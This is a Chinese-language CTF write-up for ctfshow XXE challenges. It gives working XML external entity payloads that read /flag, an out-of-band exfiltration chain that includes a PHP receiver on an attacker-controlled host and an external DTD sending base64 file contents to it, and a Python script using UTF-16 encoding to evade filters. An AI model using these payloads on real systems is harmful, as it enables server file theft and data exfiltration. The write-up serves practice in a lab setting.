前言
XXE 的漏洞在我的上一篇文章有讲过,这里就不多说,直接看题
XXE外部实体注入
web373
有回显的文件读取
<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<paidx0>
<ctfshow>&xxe;</ctfshow>
</paidx0>
web374~376
无回显的文件读取,禁用了版本号,问题不大不写版本号就是了
在公网上构造以下几个文件
x.php
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
xxe.xml
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/x.php?1=%file;'"
>
%all;
构造 payload
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/xxe.xml">
%remote;
%send;
]>
简单解释一下,就是通过引用实体的顺序来实现数据外带,最后将文件写入到 flag.txt 里面
web377
多过滤了 http 头,利用 utf-16 编码
import requests
url = 'http://31bfa099-0c5c-4d78-9477-6a6513953714.challenge.ctf.show:8080/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
web378
登录框抓个包,发现是回显xml 形式,而且是回显 username的值
payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>
username 值被替换
总结
XXE 的题就暂时告一段落了,XXE和 SQL注入用法类似,而且危害也很大,可以信息泄露,DOS攻击,内网探测等等。
也是研究了几天才搞明白,其实数据外带也是有模板的,就像 SQL注入 时的构造语句一样,弄明白就不难了